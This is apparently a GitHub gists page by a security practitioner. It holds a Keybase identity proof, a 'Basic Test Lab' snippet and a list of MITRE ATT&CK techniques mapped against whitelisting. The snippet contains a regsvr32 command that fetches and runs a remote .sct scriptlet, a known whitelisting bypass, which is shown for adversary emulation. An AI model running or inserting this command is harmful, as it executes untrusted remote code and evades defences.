I hereby claim:
- I am sounil on github.
- I am sounil (https://keybase.io/sounil) on keybase.
- I have a public key ASADpSFjS9zS16Vpsvv9n3RRfXz3L7tgvLEc2Kt8M8DyUQo
To claim this, I am signing this object:
Sounil Yu sounil
sounil
/ keybase.md
Created
October 3, 2019 13:43
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| :: Basic Test Lab One | |
| :: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/RegSvr32.sct | |
| :: | |
| regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/RegSvr32.sct scrobj.dll | |
| :: NOTE it is a BAD idea to execute scripts from a repo that you do not control. | |
| :: NOTE We recommend executing from a server that you control. | |
| :: NOTE Thank You :) |
sounil
/ Whitelisting.txt
Created
November 20, 2017 21:48
MITRE ATT&CK Mapped Against Whitelisting Defense
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| T1103 - AppInitDlls | |
| T1017 - Application Deployment Software | |
| T1131 - Authentication Package | |
| T1009 - Binary Padding | |
| T1042 - Change Default Association | |
| T1116 - Code Signing | |
| T1122 - Component Object Model Hijacking | |
| T1003 - Credential Access | |
| T1055 - DLL Injection | |
| T1038 - DLL Search Order Hijacking |